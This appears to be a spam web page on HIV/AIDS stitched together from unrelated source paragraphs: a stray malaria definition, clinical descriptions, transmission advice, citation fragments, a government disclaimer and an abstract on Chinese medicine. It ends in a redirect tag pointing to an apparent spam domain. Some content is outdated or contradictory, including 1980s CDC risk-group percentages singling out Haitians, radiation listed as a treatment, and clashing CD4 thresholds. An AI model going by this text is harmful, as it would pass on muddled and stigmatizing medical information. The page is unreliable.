Malaria an infective disease caused by parasites that are transmitted through the bite of an infected female Anopheles mosquito. It is caused by four different pathogens Plasmodium falciparum, Plasmodium vivax, Plasmodium malariae, Plasmodium ovale , and is present in over 100 countries.
HIV progressively destroys some types of white blood cells called CD4+ lymphocytes. Lymphocytes help defend the body against foreign cells, infectious organisms, and cancer. Thus, when HIV destroys CD4+ lymphocytes, people become susceptible to attack by many other infectious organisms. Many of the complications of HIV infection, including death, usually result from these other infections and not from HIV infection directly.
“In the early stages of HIV infection, the most common symptoms are none,” says Michael Horberg, MD, director of HIV/AIDS for Kaiser Permanente, in Oakland, Calif. One in five people in the United States with HIV doesn’t know they have it, which is why it’s so important to get tested, especially if you have unprotected sex with more than one partner or use intravenous drugs.
You can’t get HIV by shaking hands or hugging a person who has HIV. You also can’t get HIV from contact with objects such as dishes, toilet seats, or doorknobs used by a person with HIV. HIV does not spread through the air or through mosquito, tick, or other insect bites.
It is known that normal cell cycling is necessary to produce a normal cytokine profile  and that HIV causes cell-cycle arrest.  Whether this is the exact mechanism is unresolved, however. Analysis of cytokine levels in HIV infected, uninfected, and HAART-treated patients with HIV show that cytokines involved in T-cell homeostasis were definitely affected, and therapy partially corrected these defects. In particular there was decreased IL-7, IL-12, IL-15 and FGF-2, and increased TNF-alpha and IP-10. [42, 43]
There are difficulties in developing an effective VACCINE against HIV, because the virus is so adept at avoiding the host immune defence system. Research is in progress, using both conventional and very unconventional approaches, to develop such a vaccine. Various chemotherapeutic agents are being tested. AZT (azidothymidine), which inhibits virus replication, has been used, but it has side effects and only helps certain patients. Radiation has also been employed but again there are side effects. So far around 22 million people have died of AIDS and a further 40 million are living infected by HIV.
The opinions expressed in this article are those of the authors and do not necessarily reflect those of the National Institute of Diabetes and Digestive and Kidney Diseases (NIDDK), the National Institutes of Health, the Department of Health and Human Services, or the U.S. Government.
The primary mechanism for immunologic control of HIV appears to be CD8+ cytotoxic T-cells. T-cell responses are correlated with the steady-state viral load and hence, the rate of progression.  Cellular immunity is apparently responsible for some multiply-exposed, but uninfected individuals. [64, 65]
Without treatment, people AIDS typically survive about 3 years. Common symptoms of AIDS include chills, fever, sweats, swollen lymph glands, weakness, and weight loss. People are diagnosed with AIDS when their CD4 cell count drops below 200 cells/mm or if they develop certain opportunistic illnesses. People with AIDS can have a high viral load and be very infectious.
Without treatment, HIV is likely to advance to AIDS. At that point, the immune system is too weak to fight off life-threatening disease and infection. Untreated, life expectancy with AIDS is about three years.
HIV is spread through contact with the blood, semen, pre-seminal fluid, rectal fluids, vaginal fluids, or breast milk of a person with HIV. In the United States, HIV is spread mainly by having anal or vaginal sex or sharing drug injection equipment with a person who has HIV.
Guttmacher Institute. An overview of minors’ consent law. State Policies in Brief. New York (NY): GI; 2013. Available at: http://www.guttmacher.org/statecenter/spibs/spib_OMCL.pdf. Retrieved November 4, 2013. ⇦
HIV is probably directly responsible for a substantial loss of weight (AIDS wasting) in some people. Wasting in people with AIDS may also be caused by a series of infections or by an untreated, persistent digestive tract infection.
Currently, the risk of infection with HIV in the United States through receiving a blood transfusion or blood products is extremely low and has become progressively lower, even in geographic areas with high HIV prevalence.
Stage III: Advanced symptoms which may include unexplained chronic diarrhea for longer than a month, severe bacterial infections including tuberculosis of the lung, and a CD4 count of less than 350/µl.
Scientists have also learned that if a city has a needle exchange program it will have fewer people who use illegal drugs. Needle exchange programs are where people can come in and trade dirty needles for clean needles. This means that if they use drugs they will be more safe. But needle exchange programs do more than give people clean needles. They teach people about drugs. If people want to stop using drugs, they help them.
HIV is transmitted by three main routes: sexual contact, significant exposure to infected body fluids or tissues, and from mother to child during pregnancy, delivery, or breastfeeding (known as vertical transmission). There is no risk of acquiring HIV if exposed to feces, nasal secretions, saliva, sputum, sweat, tears, urine, or vomit unless these are contaminated with blood. It is possible to be co-infected by more than one strain of HIV—a condition known as HIV superinfection.
HIV replicates in activated T cells (its promotor contains a nuclear factor kappa B [NF-kappa-B]–binding region, the same protein that promotes other proteins in activated T cells and macrophages), and activated T cells migrate to the lymph nodes. As such, much of the viral replication occurs outside of the peripheral blood, even though serum viral load is still a useful surrogate marker of viral replication.
Reported AIDS cases may be separated into groups based on these risk factors: homosexual or bisexual males–75%, intravenous drug abusers with no history of male homosexual activity–13%, Haitians with neither a history of homosexuality nor a history of intravenous drug abuse–6%, persons with hemophilia A who were not Haitians, homosexuals, or intravenous drug abusers–0.3%, and persons in none of the other groups–5%. Reported by the Task Force on Acquired Immune Deficiency Syndrome, CDC
There are different variants of HIV, and the cell types that they infect are determined to a large degree by which chemokine receptor they bind as co-receptor. The variants of HIV that are associated with primary infections use CCR5, which binds the CC chemokines RANTES, MIP-1α, and MIP-1β (see Chapter 2), as a co-receptor, and require only a low level of CD4 on the cells they infect. These variants of HIV infect dendritic cells, macrophages, and T cells in vivo. However, they are often described simply as ‘macrophage-tropic’ because they infect macrophage but not T-cell lines in vitro and the cell tropism of different HIV variants was originally defined by their ability to grow in different cell lines.
HIV differs from many viruses in that it has very high genetic variability. This diversity is a result of its fast replication cycle, with the generation of about 1010 virions every day, coupled with a high mutation rate of approximately 3 x 10−5 per nucleotide base per cycle of replication and recombinogenic properties of reverse transcriptase.
[Guideline] Centers for Disease Control and Prevention, Health Resources and Services Administration, National Institutes of Health, American Academy of HIV Medicine, Association of Nurses in AIDS Care, International Association of Providers of AIDS Care, et al. Recommendations for HIV Prevention with Adults and Adolescents with HIV in the United States, 2014: Summary for Clinical Providers. 2014. Available at http://stacks.cdc.gov/view/cdc/26063.
HIV is a chronic medical condition that can be treated, but not yet cured. There are effective means of preventing complications and delaying, but not preventing, progression to AIDS. At the present time, not all persons infected with HIV have progressed to AIDS, but time has shown that the vast majority do.
Jump up ^ Thomson MM, Pérez-Alvarez L, Nájera R (2002). “Molecular epidemiology of HIV-1 genetic forms and its significance for vaccine development and therapy”. The Lancet Infectious Diseases. 2 (8): 461–471. doi:10.1016/S1473-3099(02)00343-2. PMID 12150845.
Complementary and alternative medicine, including Chinese medicine (CM), has been used to treat acquired immune deficiency syndrome (AIDS) for almost 30 years. We aimed to compare the main differences between AIDS treatment and evaluation strategies between CM and Western Medicine (WM), and analyze advantages and disadvantages. The characteristics of integrative medicine (IM), based on CM and WM, include a patient-centered mode of medicine based on evidence. IM focuses on complex intervention and management with systemic and individual treatment. The evaluation indexes of IM might consist of objective indicators and subjective indexes. IM might be a more valuable method for treating AIDS in the future instead of WM or CM alone.
Human immunodeficiency virus (HIV) infection results from 1 of 2 similar retroviruses (HIV-1 and HIV-2) that destroy CD4+ lymphocytes and impair cell-mediated immunity, increasing risk of certain infections and cancers. Initial infection may cause nonspecific febrile illness. Risk of subsequent manifestations—related to immunodeficiency—is proportional to the level of CD4+ lymphocyte depletion. HIV can directly damage the brain, gonads, kidneys, and heart, causing cognitive impairment, hypogonadism, renal insufficiency, and cardiomyopathy. Manifestations range from asymptomatic carriage to acquired immune deficiency syndrome (AIDS), which is defined by serious opportunistic infections or cancers or a CD4 count of < 200/μL. HIV infection can be diagnosed by antibody, nucleic acid (HIV RNA), or antigen (p24) testing. Screening should be routinely offered to all adults and adolescents. Treatment aims to suppress HIV replication by using combinations of ≥ 3 drugs that inhibit HIV enzymes; treatment can restore immune function in most patients if suppression of replication is sustained. [redirect url='http://penetratearticles.info/bump' sec='7']